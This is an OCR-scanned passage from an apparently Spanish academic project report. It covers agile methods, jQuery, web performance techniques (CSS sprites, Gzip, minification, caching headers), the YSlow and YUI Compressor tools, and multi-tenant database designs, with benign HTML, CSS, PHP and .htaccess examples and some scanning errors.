aplicacion (Pressman, 2002).

- Coddigo: Es la etapa en la que se construye la aplicacion. El analisis y el disefio se deberdn
transformar en un programa funcional (Pressman, 2002).

- Pruebas: El proceso de pruebas se encargara de encontrar desperfectos en el sistema,
probando las funciones una por una para asegurar que se haya desarrollado conforme a
lo establecido en las etapas de andlisis y disefio (Pressman, 2002).

K. Desarrollo agil

El desarrollo agil se basa en la habilidad del grupo de trabajo de adoptarse a cambios en el
ambiente y a responder de manera rapida y eficiente a nuevas demandas que pudiesen surgir.
Se dice que un proceso agil es aquel que se acepta y apoya un grado alto de adaptabilidad. Es
importante mencionar que la flexibilidad es tan importante como el tiempo de entrega y la

calidad de los resultados (Kruchten, 2001).

Cockburn (2001) menciona también la importancia de las reglas en el desarrollo agil, la
adaptabilidad no es sindnimo de calendarios flexibles y tiempos grandes de holgura, es
necesario llevar un control de las actividades y establecer reglas sobre los entregables de los

proyectos.

De acuerdo a Kalermo y Rissanen (2002), en el 2001 se formd una organizacion conocida
como Agile Alliance, formada por expertos en métodos no convencionales y ligeros
(“lightweight”) para el desarrollo de aplicaciones, como Scrum, Crystal Clear y la programacion
extrema y escribieron lo que se conoce hoy en dia como el Agile Manifesto, el cual define las

bases del desarrollo agil, del cual las cuatro mas importantes son las siguientes:

— Individuos e interacciones por encima de procesos y herramientas.
— Software funcional encima de documentaciéon compresiva.

— Colaboracién con el cliente sobre negociacion de contrato.
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— Responder al cambio sobre seguir un plan.

Las metodologias de desarrollo agil sugieren dividir las tareas macro en incrementos
pequenos que requieran poca planificacién y que tipicamente se puedan desarrollar en periodos
de dos a cuatro semanas. Esta forma de trabajo minimiza el riesgo y permite que el desarrollo se

adapte a cambios en el ambiente (Kalermo y Rinassen, 2002)

L. Ventajas de utilizar la libreria de Jquery

JQuery es una libreria de JavaScript, lenguaje que se utiliza para el desarrollo de paginas
web y que se ejecuta en la computadora del cliente. JQuery estd pensada para interactuar con
los elementos de una pdagina web por medio del DOM. EI DOM es una interfaz de programacion
de aplicaciones para acceder, afiadir y cambiar dindmicamente contenido estructurado en los
documentos de las paginas web. Lo que la hace tan especial es su sencillez y su reducido
tamafio. La sencillez de su sintaxis y la poca extensién del cédigo que se necesita escribir, son
las caracteristicas mas notables. Es importante comentar que jQuery no es la Unica libreria de
JavaScript que existe para facilitar la codificacién de JavaScript, otra libreria muy utilizada es
Mootools.  Existen varias soluciones similares que también funcionan muy bien, que
basicamente sirven para facilitar el trabajo de codificacién en JavaScript. Como es normal, cada
una de las librerias tiene sus ventajas e inconvenientes, pero jQuery es una herramienta con una
aceptacion por parte de los programadores muy buena y un grado de penetracién en el

mercado muy amplio (Alvarez, 2009).

Un aspecto muy interesante es la amplia comunidad de creadores, de plugins o
componentes, lo que hace facil encontrar soluciones a varios problemas en jQuery para
implementar tareas utiles como interfaces de usuario, galerias, votaciones y permite utilizar
efectos interesantes en las pdginas. Las ventajas puntuales y razones de por qué utilizar JQuery

para la codificacién de JavaScript para este mddulo son las siguientes:

- lacurva de aprendizaje es menor que al de sus similares.
- Esligero en comparacién con otros marcos de javascript.

- Tiene una amplia gama de plugins disponibles para las diversas necesidades especificas
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M. Practicas mas utilizadas para mejorar la eficiencia de las paginas web

Se investigaron varias practicas que fueron utiles para mejorar el rendimiento del sistema.
A continuacidn se describird las que se investigaron, cdmo mejoran el rendimiento y las razones

de por qué no se implementaron ciertas medidas.

1. Realizar la menor cantidad de peticiones HTTP. Una peticién HTTP consiste en un
mensaje enviado por un cliente que solicita la ejecucién de una operacién en un recurso,

todo se realiza utilizando el protocolo HTTP (Souders, 2007).

Esta es una practica importante, ya que se ha descubierto que del 80 al 90 por ciento de
tiempo de respuesta es utilizado en realizar peticiones HTTP para todos los componentes que se
encuentran en la pagina (imagenes, scripts, hojas de estilo, etc.); el resto es utilizado para
obtener el documento HTML que describe a la pagina. Para no realizar varias peticiones al
servidor, existen otras técnicas como utilizar mapas de imagenes, “CSS sprites” y la combinacién

entre scripts y hojas de estilo (Souders, 2007).

a. Mapas de imagenes. Consiste en asociar a cada hipervinculo una imagen, esta es
una forma de reducir las peticiones HTTP sin sacrificar de un modo notable el disefio

de la pagina. Esto es posible ya que un mapa de imagenes permite asociar varios hipervinculos a
una sola imagen, el URL destino dependerd de la posicion de la imagen en la que el usuario
realizo el “click”. Esto es muy util ya que en lugar de realizar N peticiones HTTP, una por cada
imagen, solo se realiza una peticion que contenga N hipervinculos, lo cual reduce en gran
cantidad el tiempo de respuesta. Este es un cédigo ejemplo para realizar un mapa de imagenes:

<img usemap="#map1l" border=0 src="/images/imagemap.gif">

<map name="map1">

<area shape="rect" coords="0,0,31,31" href="home.html|" title="Home">

<area shape="rect" coords="36,0,66,31" href="gifts.html" title="Gifts">

<area shape="rect" coords="71,0,101,31" href="cart.html" title="Cart">

<area shape="rect" coords="106,0,136,31" href="settings.html" title="Settings">

<area shape="rect" coords="141,0,171,31" href="help.html" title="Help">

</map>

Este método puede llegar a ser tedioso y dificil para asociar hipervinculos a ilustraciones

complicadas (Souders, 2007).
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b. CSS Sprites. Es otra forma de combinar imagenes, pero es mas flexible que los
mapas de imagenes. La Unica diferencia es que se utiliza la propiedad “background-
position” del CSS y cada link se encuentra adentro de un SPAN que se refiere a cierta posicidn

de laimagen. Aqui hay un cédigo de HTML de ejemplo:

<style>

#navbar span {

width:31px;

height:31px;

display:inline;

float:left;

background-image:url(/images/spritebg.gif);

}

.home { background-position:0 0; margin-right:4px; margin-left: 4px;}
.gifts { background-position:-32px 0; margin-right:4px;}

.cart { background-position:-64px 0; margin-right:4px;}

.settings { background-position:-96px 0; margin-right:4px;}

.help { background-position:-128px 0; margin-right:0px;}

</style>

<divid="navbar" style="background-color: #F4F5EB; border: 2px ridge #333; width:
180px; height: 32px; padding: 4px 0 4px 0;">

<a href="javascript:alert('Home')"><span class="home"></span></a>
<a href="javascript:alert('Gifts')"><span class="gifts"></span></a>

<a href="javascript:alert('Cart')"><span class="cart"></span></a>

<a href="javascript:alert('Settings')"><span class="settings"></span></a>
<a href="javascript:alert('Help')"><span class="help"></span></a>

</div>

Este método también ayuda a cargar la menor cantidad de imagenes posible, lo cual quiere
decir menor cantidad de peticiones HTTP y menor tiempo de respuesta para cargar una pagina

(Souders, 2007).

c. Combinacion de Scripts y hojas de estilo. Este punto se refiere a colocar todas las

hojas de estilo en un mismo documento y los scripts en otro documento para no

tener archivos por separado, ya que por cada archivo separado se requiere una peticion HTTP
extra. (Aunque utilizar archivos separados también tiene otras ventajas, que se tratan mas

adelante.) Lo ideal es que solo exista un archivo para hojas de estilo y otro para scripts
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(Souders, 2007).

Agui se muestra una lista de paginas de internet y el nimero de archivos para hojas de

estilo y para scripts que utilizan:

Tabla 1. Numero de hojas de estilo y scripts de las paginas mas visitadas en el 2005 en Internet.

| Sitio Web Scripts Hojas de estilo |
http://www.amazoncom 3 1
http://www.aol.com 18 1
http://www.cnn.com 11 2
http://www.ebay.com 7 2
http://www.froogle.google.com 1 1
http://www.msn.com 9 1
http://www.myspace.com 2 2
http://www.wikipedia.com 3 1
http://www.yahoo.com 4 1
http://www.youtube.com 7 3

2. Compresidn por Gzip. Los componentes Gzip permiten reducir el tiempo de respuesta al
reducir el tamano de la respuesta HTTP, porque menos paquetes deben viajar del
servidor al cliente. Si el servidor web mira el siguiente encabezado, puede comprimir la

respuesta segun se le especifique el método utilizado: Accept-Encoding: gzip, deflate

Entonces el servidor notifica al cliente de la compresidn con el siguiente encabezado para

gue sepa que deba descomprimir la respuesta: Content-Encoding: gzip

Gzip es uno de los métodos de compresion mas utilizados actualmente, es un formato libre
y ya estd estandarizado. Otro método menos utilizado y menos efectivo para comprimir la

respuesta es deflate (Souders, 2007).

Se tiende a utilizar la compresién Gzip en los archivos de HTML, las hojas de estilo y los
scripts, inclusive en los archivos XML y JSON. Los archivos en los que no se aplica este tipo de

compresion son los PDF y en las imagenes pues ya estdn previamente comprimidos y puede ser
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contraproducente comprimirlos nuevamente. Existe un costo adicional para comprimir vy

descomprimir la respuesta, que debe tomarse en cuenta.

La Tabla 2 muestra los tipos de compresidon y sobre que archivos la aplican los sitios mas

visitados en el 2005:

Tabla 2. Sitios que utilizan Gzip para comprimir la respuesta HTTP y en qué tipo de archivos la

utilizan.

Sitio Web Gzip Gzip de Gzip en hojas de
de HTML Scripts estilo
W Si utilizan No utilizan No utilizan
http://www.aol.com Si utilizan Si utilizan en Si utilizan en
algunas algunas
http://www.cnn.com No utilizan No utilizan No utilizan
http://www.ebay.com Si utilizan No utilizan No utilizan
http://www.froogle.google.com Si utilizan Si utilizan Si utilizan
http://www.msn.com Si utilizan Utilizan deflate Utilizan deflate
http://www.myspace.com Si utilizan Si utilizan Si utilizan
http://www.wikipedia.com Si utilizan Si utilizan Si utilizan
http://www.yahoo.com Si utilizan Si utilizan Si utilizan
http://www.youtube.com Si utilizan Si utilizan en Si utilizan en
algunas algunas

Y en la tabla 3 se muestran los beneficios de utilizar la compresidn en cuanto a espacio y

eficiencia.
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Tabla 3. Ejemplos de reduccion de tamafios en las hojas de estilo y scripts.

Tamanio sin  Tamano Porcentaje  Tamano  Porcentaje

compresion  al utilizar de al wtilizar de
Gzip reduccion deflate reduccion
Script 3277 bytes 1076 67% 1112 B6%
bytes bytes
Script 39713 14488 64% 16583 58%
bytes bytes bytes
Hojade 968 byte 426 bytes 56% 483 bytes 52%
estilo
Hoja de 14122 3748 73% 46855 67%
estilo bytes bytes bytes

3. Colocar las hojas de estilo en la parte superior. Es una buena practica que la pagina web
cargue progresivamente, esto quiere decir que el navegador despliegue el contenido que

tenga lo mas pronto posible. Esto es mucho mas importante si la pagina tiene mucho contenido
y el usuario tiene una conexién muy lenta. Un punto muy importante es que los usuarios
necesitan tener retroalimentacidn visual lo mas pronto posible, y esto es mas facil de conseguir
si se colocan todas las hojas de estilo al principio del archivo en el HEAD, esto es mas que nada
para mejorar la experiencia del usuario porque todo el aspecto visual empieza a cargarse desde

un inicio entonces el usuario nunca vera paginas en blanco (Souders, 2007) .

4. Colocar los scripts en la parte inferior. Este punto también se recomienda para que la
pagina cargue progresivamente y se logre una mayor eficiencia en general, ya que los

scripts bloquean la descarga paralela, la cual permite que dos o mds componentes carguen al
mismo tiempo. Esto repercute en el tiempo de descarga de la pagina. Por defecto los
navegadores Firefox e Internet Explorer pueden descargar dos componentes paralelamente, si
los scripts estan al principio del archivo entonces se bloquea este paralelismo y se pierde tiempo

y recursos valiosos (Souders, 2007).

La llustraciéon 5 muestra un ejemplo de una pagina que descarga los componentes

paralelamente sin ningun script:



29

llustracion 5. Forma de cargar una pagina que no tiene ningun script.

Htrnl
components 1

components

CoMmponents D
components D

components [ ]

components I

CoMmponents I—

components I

components L
CoMmponents L

En caso de tener un script en medio del archivo los componentes se descargarian como se

muestra en la llustracién 6:

[lustracion 6. Forma de cargar una pdagina que no tiene un script al final.

Htrml
Components

Components

Components

Components

Esto provoca que algunos de los componentes tarden mucho en cargar. En cambio, si el
script se coloca en la parte inferior del archivo, entonces todos los componentes cargan mas

rdpido como se puede apreciar en la llustracién 7 (Souders, 2007).
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llustracién 7. Forma de cargar una pdgina que tiene un script al final que es lo ideal.

Htral
Components
Components

Components

Componente [

sCript

5. Evitar expresiones en los CSS. Las expresiones en los CSS son una herramienta muy
poderosa para asignar propiedades a la pagina de forma dindmica. El problema es que

estas expresiones son calculadas a cada momento, lo cual repercute en la eficiencia de la
pagina. Algunas soluciones para no utilizar las expresiones en los CSS es utilizar manejador de
eventos y expresiones que solo se calculan una sola vez (Souders, 2007). El siguiente es un

ejemplo de expresiones en los CSS:

background-color: expression( (new Date()).getHours( )%2 ? "#B8D4FF" : "#FOSA00" );

El siguiente ejemplo muestra la estructura de un manejador de eventos, con lo cual se evita

usar expresiones en los CSS:

function setMinWidth( )

{
setCntr( );

var aElements = document.getElementsByTagName("p");

for (vari=0;i<aElements.length; i++)

aElements|i].runtimeStyle.width = ( document.body.clientWidth<600 ?
"600px" : "auto" );

}
if (-1 != navigator.userAgent.indexOf("MSIE") )

{

window.onresize = setMinWidth;
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6. Hacer JavaScript y CSS externos. En general los CSS y Javascript que no son externos son

mas rapidos, ya que no es necesario buscar archivos por separado y es posible la
reutilizacion de cédigo sin tener que replicarlo. Ademads si se trabaja con archivos externos es
posible guardarlos en Cache para que la préxima vez que se necesiten, carguen mas rapido.

(Souders, 2007)

7. Minify en JavaScript. Minification es la practica de remover caracteres innecesarios del
cddigo para reducir su tamafio por lo tanto, reduciendo el tiempo que se tarda en cargar.
Cuando se le aplica esta técnica al cddigo, se remueven todos los comentarios, asi como
espacios en blanco innecesarios, en el caso de JavaScript esto mejora el tiempo de respuesta y el
rendimiento debido a que el tamafio del archivo es menor. (Souders, 2007) La Tabla 4 muestra

gue paginas de las diez mas famosas del 2005 que utilizaban Minify:

Tabla 4. Paginas que utilizaban Minify.

I Sitio Web Utilizan Minify |

http://www.amazon.com No
http://www.aol.com No
http://www.cnn.com No
http://www.ebay.com Si
http://www.froogle.google.com Si
http://www.msn.com Si
http://www.myspace.com No
http://www.wikipedia.com No
http://www.yahoo.com Si
http://www.youtube.com No

Existe otra técnica similar aunque un poco mas radical llamada Obfuscation, pues también
remueve espacios en blanco innecesarios y comentarios, pero también es capaz de modificar el
codigo ya que puede ajustar los tamanos de las cadenas de caracteres para que sean menores,

de esta manera logrando reducir el cddigo aun mas que cuando se utiliza Minification. Sin
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embargo, al utilizar Obfuscation es posible que se den tres problemas en comparacién de
Minification:

e Es mas dificil depurar el cédigo.
e Es mas dificil darle mantenimiento.

e Se pueden insertar nuevos errores (Souders, 2007).

La Tabla 5 muestra los tiempos de respuesta que se tienen cuando se utilizan estas técnicas

en dos archivos diferentes:

Tabla 5. Tiempos de respuesta al utilizar Minify y Obfuscation.

Tamaiio del script Normal Minify Obfuscation
Pequefio (50K) 581 ms 481 ms 471 ms
Grande (377K) 1092 ms 761 ms 751 ms

8. Evitar redirecciones. Las redirecciones son utilizadas para direccionar a un usuario de un
URL a otro. Se utilizan ademds para:
- Rediseiiar paginas Web.
- Llevar control del flujo del trafico.

- Poder crear URL's que sean mas faciles de recordar.

El problema principal con las redirecciones es que provocan que la pagina sea mas lenta

como se muestra en la llustracion 8:

llustracidon 8. Tiempo desperdiciado en realizar una redireccion.

Redireccion |
hitrnil
sCript -
Hoja de estila I
Hojas de estilo n
Hoja de estilo o

ImaciEn

|
Imagen [ |
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9. Aiadir encabezados de expiracidn. Esta técnica se utiliza para maximizar las capacidades
de almacenamiento de Cache que poseen los navegadores, porque al utilizar un
encabezado de expiracién se guardan en Cache los componentes que tiene la pagina, lo cual

reduce la cantidad de peticiones de HTTP (Souders, 2007).

Los servidores Web utilizan el encabezado de expiracion, para decirle a un cliente web que

puede utilizar la copia actual de los componentes que él tiene, hasta cierta fecha.
Hay tres formas o tres tipos de encabezados:

e El primero es enviarle la fecha exacta en la que expira el encabezado.
o Expires: Thu, 15 Apr 2010 20:00:00 GMT
e Elsegundo es enviarle la duracién en segundos que dura el encabezado.
o Cache-Control: max-age=315360000
e Se puede combinar las dos formas anteriores debido a problemas de
compatibilidad con la segunda opcidn.
o Expires: Sun, 16 Oct 2016 05:43:02 GMT
o Cache-Control: max-age=315360000

10. Utilizar una Content Delivery Network. Un Content Delivery Network (CDN por sus
siglas en inglés) es una coleccién de servidores Web distribuidos en varios lugares los

cuales permiten enviar contenido a los usuarios de una forma mas eficiente. No solamente
mejora en rendimiento sino que también ayudan a reducir costos. El CDN es el encargado de
seleccionar el servidor mds adecuado para enviar el contenido, esto quiere decir que escoge la
ruta ideal para enviar informacién. Algunas empresas tienen su propio CDN aunque la mayoria

contrata los servicios de Content Delivery Networks ya establecidos (Souders, 2007).

11. Modificar las Entity tags. Las Entity tags son un mecanismo que los servidores y
exploradores utilizan para determinar si un componente (imagen, css, Javascript) en la
memoria cache del navegador, corresponde con el componente que se encuentra en el servidor.
Una Etag es una cadena de caracteres que identifica una version especifica de un componente.
Los problemas con las Etags empiezan cuando el usuario trata de validar un componente que

recibié de un servidor y lo estd comparando con el de otro servidor (Souders, 2007).
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N. Funcionalidad de YSlow

YSlow es una herramienta que permite analizar el desempefo de una pagina web al
examinar todos los componentes que se encuentran en la pagina, incluyendo componentes que
fueron creados dindmicamente utilizando JavaScript. Luego de analizar el desempefio de la
pagina ofrece consejos para solucionar los problemas encontrados. (Yahoo Developer Network,

2010).

Actualmente estd integrada a la herramienta de desarrollo de firebug para el navegador
Firefox. Para medir el desempefio, se basa en las reglas mencionadas en la seccidn acerca de las
practicas mas utilizadas para mejorar el desempefio de las paginas web, aunque afiade nuevas
reglas a estas mediciones entre las que se encuentran:

- Reducir el nUmero de elementos en el DOM.

- Reducir el tamafio de las cookies.

- Evitar escalar las imagenes utilizando HTML

- Utilizar dominios que no contengan cookies para sus componentes.

Cuando se analiza una pagina Web, YSlow resta puntos por cada infraccion que suceda
segln el conjunto de reglas especificadas. Esta herramienta es fdcil e intuitiva de usar, esto

permite poder analizar cualquier pagina web (Yahoo Developer Network, 2010).

YSlow posee tres vistas que son de utilidad para el desarrollador de la pagina Web, primero
permite observar la calificaciéon otorgada a la pagina y la calificacién en cada uno de los puntos a

evaluar (Yahoo Developer Network, 2010).
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La segunda vista comprende una tabla con todos los elementos encontrados en la paginay

estadisticas acerca de ellos como por ejemplo: el tamafio de cada elemento antes y después de

ser comprimidos con Gzip, la cantidad de cookies enviadas y recibidas por esa pagina, los

headers que se utilizan y la fecha de expiracién de cada elemento. (Yahoo Developer Network,

2010)
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llustracion 10. Vista de componentes en el sistema YSlow.
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La tercera vista consiste en un resumen acerca de las peticiones HTTP realizadas a la pagina
y el peso total de la pagina expresado en kilobytes asi como un andlisis de peso realizado con la
memoria Cache vacia y otro andlisis con ciertos elementos de la pagina ya almacenados en la

memoria Cache (Yahoo Developer Network, 2010).

[lustracion 11. Andlisis de peticiones HTTP realizado por el sistema YSlow.
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O. Funcionalidad de YUl Compressor

YUl Compressor es la herramienta utilizada para aplicar minify a los archivos CSS vy

Javascript del Megaproyecto. YUl Compressor es una herramienta de cddigo abierto
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desarrollada en Java, que analiza los archivos de JavaScript o del CSS para observar la estructura
del archivo que se estd comprimiendo, luego genera el cédigo del archivo omitiendo la mayor
cantidad de espacios en blanco posible y remplazando todos los simbolos locales por letras cada
vez que sea apropiado realizar este tipo de sustitucién. Esta herramienta evita comprimir
secciones de cédigo que contengan expresidon con with o eval pues este tipo de expresiones
pueden producir errores después de haber sido comprimidas. Estos problemas son comunes en
las herramientas que aplican Minification a los archivos como JsMin o Dojo, por esto YUI
Compressor evita aplicar minification a estas secciones de cddigo. El algoritmo de compresidn de
CSS utiliza un conjunto de expresiones regulares bien definidas para comprimir el archivo fuente

(Yahoo Developer Network, 2010).

P. Técnicas para aplicar Gzip a los archivos de tipo PHP, JavaScript y CSS

La compresion por GZIP es una buena técnica para liberar de peso, en KB, a las paginas
web. No resulta nada complicada si se sabe cdmo configurar y las ventajas son muy
representativas. En la seccién acerca de mejores practicas para mejorar la eficiencia de las
paginas web ya se ha explicado en qué consiste GZIP y se ha mostrado cudles son las ventajas
de utilizar estos métodos de compresién, pero no se ha explicado como se aplica la compresion

a los archivos (Fiftyfoureleven.com, 2004).

Depende del desarrollador, o de la configuracién del servidor web, que se envien o no los
archivos comprimidos a los clientes que lo solicitan, asi que un primer paso para cualquier
persona interesada en optimizar su web seria comprobar si las pdginas de su sitio web se estan

enviando comprimidas (Fiftyfoureleven.com, 2004).

Primero, se observara una de las primeras configuraciones que se pueden hacer facilmente
sobre el sitio web, para que las paginas PHP del sitio se envien comprimidas. Se trata de la
edicidn del archivo .htaccess para configurar Apache y hacer que los archivos PHP se compriman

con GZIP antes de enviarse al cliente (Fiftyfoureleven.com, 2004).

A continuacién se mostrard un sencillo cédigo fuente que se puede utilizar para configurar
Apache, de modo que los archivos PHP se envien comprimidos. Es decir, que el cédigo HTML de
la pagina, generado después del procesamiento de los scripts PHP, se comprima en linea antes

de enviarse al cliente que lo solicité (Fiftyfoureleven.com, 2004).


http://www.desarrolloweb.com/faq/pagina-comprimida.html
http://www.desarrolloweb.com/faq/pagina-comprimida.html
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php_flag zlib.output_compression On

php_value zlib.output_compression_level 2

Esto se coloca en un archivo htaccess del servidor, o sea un archivo de texto llamado
".htaccess", este archivo sirve para configurar el servidor para que antes de mandar los

documentos este los mande comprimidos (Fiftyfoureleven.com, 2004) .

La primera linea del cddigo indica que se tiene que activar la compresién GZIP para los
archivos PHP. La segunda linea indica el nivel de compresién del archivo, cuanto mayor sea el
nivel (de uno a diez) mayor serd la compresién, pero también requerird mas tiempo de
procesamiento el comprimir los archivos antes de enviarlos. Con una compresién a nivel dos ya
se comprimen bastante y requiere menos tiempo de proceso que una compresidon a nivel

superior (Fiftyfoureleven.com, 2004).

Como los archivos htaccess sirven para configurar un directorio y todos los subdirectorios
de aquel donde se ha colocado el archivo, el cddigo de compresién por Gzip, mencionado
anteriormente en esta seccidn, se puede colocar en el archivo .htaccess que se tendra en la
carpeta raiz del sitio web, de modo que afecte al directorio principal del dominio y todos los

subdirectorios que pertenezcan a él (Fiftyfoureleven.com, 2004).

Otro método de compresion puede realizarse solamente con colocar al principio de cada

archivo con extension php la instruccion:
ob_start("ob_gzhandler");

Uno de los problemas con utilizar este comando para comprimir los archivos es que

solamente funciona en servidores Apache (Fiftyfoureleven.com, 2004).

Los pasos para aplicar la compresion Gzip a archivos CSS y JavaScript cambian en
comparaciéon de los utilizados para comprimir archivos PHP. Este método es muy elegante,
porque no requiere la adicion de mas instrucciones a los archivos CSS ni JavaScript, ni se tiene

gue cambiar la extension de los archivos (Fiftyfoureleven.com, 2004).

Este método se puede resumir en dos pasos: primero se debe crear un nuevo archivo PHP,

el cual aplica la compresidn, que contenga el siguiente cédigo:
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<?php

ob_start ("ob_gzhandler");
header("Content-type: text/css; charset: UTF-8");
header("Cache-Control: must-revalidate");
Soffset =60 * 60 ;

SExpStr = "Expires: " .

gmdate("D, d M Y H:i:s",

time() + Soffset) . " GMT";

header(SExpStr);

?>

El segundo paso consiste en crear un archivo .htaccess y guardarlo en el mismo directorio

donde se encuentran los archivos CSS y JavaScript. El archivo debe contener el siguiente cddigo:

AddHandler application/x-httpd-php .<extensién del archivo que se esta
comprimiendo>

php_value auto_prepend_file <nombre del archive PHP creado en el paso uno>

Este cddigo aplica la compresidon definida en el archivo PHP del paso uno a todos los

archivos de tipo CSS y JavaScript que se encuentren en la misma carpeta que el archivo htaccess.

Q. Arquitectura Multi-Inquilino

1. Servidores compartidos y arquitectura multi-inquilino. Una aplicacién multi-inquilino es
aquella que permite a multiples clientes utilizar un solo conjunto de recursos, entre ellos
servidor, aplicacidn y base de datos. Una arquitectura multi-inquilino mantiene los costos de
infraestructura y mantenimiento bajos; debido a esto los proveedores pueden trasladar esos

ahorros a sus clientes en forma de precios bajos en suscripcion (Jacobs & Aulbach, 2007).

El manejo de la informacién en el modelo SaaS presenta un reto importante pues el nivel
de confianza debe ser alto para que el cliente tenga seguridad que su informacion se mantendra
confidencial. El modelo a utilizarse debe ser tanto robusto como confiable; debe brindar a los

clientes, entiéndase por cliente a aquellos que contrataran el servicio, una arquitectura que sea
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eficiente y que pueda otorgarles el control de la informacién vital de negocio a un sistema facil

y efectivo de manejar (Jacobs & Aulbach, 2007).

La arquitectura multi-inquilino brinda una optimizacién para servidores compartidos en los
cuales multiples clientes son reunidos en un mismo sistema operacional. Con esta arquitectura
se logra la optimizacion de los recursos, incrementando la utilizacién al eliminar la necesidad de
proveer a los clientes recursos individuales para sus requerimientos. Un sistema multi-inquilino
debe ser capaz de escalar tanto para arriba como para afuera, consolidando multiples clientes
dentro de un mismo servidor o creando redes de servidores; escalar hacia fuera es necesario ya
gue no es efectivo tener que escalar hacia arriba en un mismo servidor de forma indefinida

(Jacobs & Aulbach, 2007).

La infraestructura de un sistema multi-inquilino debe soportar la habilidad de migrar un
cliente de un servidor a otro dentro de la red de servidores. Por ejemplo, un cliente puede
empezar en un servidor que es dedicado a cuentas de pruebas, ser movido a un servidor para
producciones pequefias, y crecer hasta que debe ser movido a un servidor dedicado que maneje
Unicamente una cuenta. La migracién debe ser posible también entre redes de servidores, por

ejemplo para mover un cliente de un centro de informacidn a otro (Jacobs & Aulbach, 2007).

2. Requerimientos en bases de datos multi-inquilino. La arquitectura multi-inquilino puede

ser aplicada a la capa de base de datos de un servicio arrendado, donde puede ser
efectivo debido al alto costo de proveer y operar bases de datos a cada cliente. Asimismo aparte
de manejar la informacidn privada de un cliente, una base de datos multi-inquilino debe guardar

metadatos del cliente y su informacién publica compartida (Jacobs & Aulbach, 2007).

La infraestructura de una base de datos multi-inquilino debe mantener metadatos acerca
de los clientes, como la informacion de contacto, su localidad en la red de servidores, y las
funciones a las que tiene acceso. Ciertas operaciones administrativas necesitardn tener acceso a
los metadatos al mismo tiempo que acceden a la informacién del cliente. Por ejemplo, un
servicio podria filtrar la informacién de entre todos los clientes para obtener Unicamente los

datos de los clientes pertenecientes a cierta region geografica (Jacobs & Aulbach, 2007).

La aplicacién objetivo de un servicio arrendado tendrd generalmente un esquema base

para toda su informacién estandar. Una base de datos multi-inquilino debe mantener una
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instancia de este esquema para cada cliente. Muchas aplicaciones de negocios permiten a los
clientes extender el esquema base, por ejemplo agregando nuevas columnas a tablas existentes
o agregando nuevas tablas. Este esquema depende directamente de cdmo se implemente Ia
base de datos multi-inquilino, lo que a su vez depende de las necesidades de los clientes (Jacobs

& Aulbach, 2007).

3. Implementacion de una base de datos multi-inquilino. En esta seccidn se describe y
comparar tres acercamientos para implementar una base de datos multi-inquilino:

bases de datos separadas, base de datos compartida esquema separado y base de datos
compartidas esquema compartido. Cada uno de estos acercamientos es mejor en el manejo de
recursos pero para esto se debe sacrificar el aislamiento de la informacién de los clientes,
debilitando la seguridad e incrementando el tiempo de demanda de informacion (Jacobs &

Aulbach, 2007).

a. Base de datos separadas. Supdngase que se pretende definir una arquitectura para

tres inquilinos distintos. El primer acercamiento plantea que cada uno de ellos

debe tener una base de datos dedicada para su propia informacién. Cada uno de los inquilinos
tendra el mismo paquete de programas y servicios para manejar su informacién, pero la
informacién de cada inquilino se encuentra totalmente aislada de la informacion de los demas
inquilinos. El servicio posee la suficiente informacién para asociar cada base de datos con su

respectivo inquilino (Chong et al, 2006).

[lustracion 12. Bases de datos separadas para tres inquilinos distintos.

Inquilino 1 Inquilino 2 Inquilino 3
132 680 4711

Este acercamiento tiene como ventajas: es mas facil acercarse a las necesidades del
inquilino, es mas sencillo restaurar la informacién en caso que sucediera algun tipo de fallo. La

principal desventaja que presenta es el alto costo de hardware y de mantenimiento que se le
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debe dar, ya que se tiene una base de datos separada para cada inquilino que se este

atendiendo (Chong et al, 2006).

Esta es considerada la arquitectura Premium para aquellos clientes que estén dispuestos a
pagar extra para tener equipos y mantenimientos de mayor costo, logrando con esto tener un

sistema mas seguro y mucho mas adaptable a sus necesidades (Chong et al, 2006).

b. Base de datos compartida, esquema separado. Manteniendo el primer ejemplo de
los inquilinos, se presenta un nuevo acercamiento. Se tiene en la misma base de
datos la informacién de todos los inquilinos, pero cada uno con sus propias tablas agrupadas en

un esquema diferente para cada inquilino (Chong et al, 2006).

[lustracion 13. Base de datos compartida, esquemas separados para cada inquilino.

_— .

l"/Base de Datos

Inquilino 132 Inquilino 680
I | |

I I = T 1
| T . == ]

-

e

|

Para administrar la seguridad interna las tablas de cada inquilino se agrupan en esquemas
separados, esto conlleva a que el servicio mantenga entre su informacién el nombre de
esquema correspondiente a cada inquilino, previniendo asi que un inquilino tenga acceso a las
tablas de otro inquilino. SQL Server maneja los esquemas de la siguiente forma:

NombreEsquema.NombreTabla (Chong et al, 2006).

En la aplicacidon objetivo, el servicio del cliente puede poseer una propiedad llamada
“esquema predeterminado” que contiene el nombre del esquema que se ha asignado al

inquilino. Esto ayuda a evitar usar la convencion esquema.tabla haciendo que las consultas y
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modificaciones de la base de datos se lleven a cabo ingresando Unicamente el nombre de la

tabla (Chong et al, 2006).

Este tipo de arquitectura brinda caracteristicas similares a las del acercamiento de base de
datos separados. Le brinda al usuario la oportunidad de ajustar las tablas a sus necesidades. A
diferencia del acercamiento anterior, este permite ahorrarse todos los costos técnicos extra de
mantener varias bases de datos. Se puede agregar a los beneficios que ésta arquitectura
presenta la oportunidad de almacenar mas inquilinos por menos costo que una arquitectura de
bases de datos separadas. Una limitante a considerar es que ésta arquitectura es recomendable

Unicamente a inquilinos que tienen a lo sumo cien tablas (Chong et al, 2006).

El problema principal de este acercamiento radica cuando es necesario restaurar la
informacién debido a un fallo. En un sistema de base de datos separadas simplemente se
restaura la base de datos que tuviese problemas, pero en este acercamiento se debe modificar
toda la informacién de los demds inquilinos con los ultimos datos guardados. Para evitar
molestias con los inquilinos que no tienen ningln problema, el administrador deber crear una
copia temporal de toda la base de datos y en ella reemplazar las tablas del inquilino al que le

sucedio el fallo y que ha perdido informacion (Chong et al, 2006).

c. Base de datos compartida, esquema compartido. El tercer acercamiento a tomar en

cuenta presenta el siguiente concepto: tener una misma base de datos con un

esquema compartido por todos los inquilinos. Para diferenciar entre qué datos corresponden a
qgué inquilino se agrega una columna con el identificador del inquilino correspondiente. Esta
columna es asociada a la informacién de cada inquilino, permitiendo asi que cada registro de

informacién sea asociado adecuadamente al inquilino que lo posee (Chong et al, 2006).

[lustracién 14. Base de datos compartida, esquema compartido. Una columna identifica al
inquilino.
Inquilino_ll_?L ~ AA!i_as J Di(eccigEM_L‘

4 Inquilino_ID | Producto_ID | Nombre_Prd |
1 4! Inquilino_ID ' Num_Envio ] Fecha

6 1 4711 | 324965 2006-02-21 ¢
4 6/ 132 | 115468 | 2006-04-08
4 680 654109 | 2006-03-2

4711 324956 | 2006-02-23
